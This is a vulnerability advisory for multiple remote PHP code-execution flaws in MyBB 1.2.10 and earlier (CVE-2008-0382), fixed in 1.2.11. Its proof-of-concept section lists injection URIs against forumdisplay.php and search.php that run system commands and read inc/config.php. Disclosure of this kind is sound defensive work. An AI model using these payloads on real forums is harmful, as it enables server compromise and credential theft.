BID:27322

MyBB Multiple Remote PHP Code Execution Vulnerabilities

Info

MyBB Multiple Remote PHP Code Execution Vulnerabilities

Bugtraq ID:	27322
Class:	Input Validation Error
CVE:	CVE-2008-0382
Remote:	Yes
Local:	No
Published:	Jan 16 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	Janek Vind 'waraxe' is credited with the discovery of these vulnerabilities.
Vulnerable:	MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBulletinBoard 1.10

Not Vulnerable:	MyBulletinBoard MyBulletinBoard 1.2.11

Discussion

MyBB Multiple Remote PHP Code Execution Vulnerabilities

MyBB is prone to multiple remote PHP-code-execution vulnerabilities.

An attacker can exploit these issues to facilitate a compromise of the application and the underlying system; other attacks are also possible.

MyBB 1.2.10 is vulnerable; prior versions may also be affected.

Exploit / POC

MyBB Multiple Remote PHP Code Execution Vulnerabilities

Attackers may exploit these issues through a browser.

The following proof-of-concept URIs are available:

http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];phpinfo();exit;//
http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];system('ls');exit;//
http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];readfile('inc/config.php');exit;//
http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];phpinfo();exit;//
http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];system('ls');exit;//
http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];readfile('inc/config.php');exit;//

Solution / Fix

MyBB Multiple Remote PHP Code Execution Vulnerabilities

Solution:
The vendor has released MyBB 1.2.11 to address these issues.

MyBulletinBoard MyBulletinBoard 1.2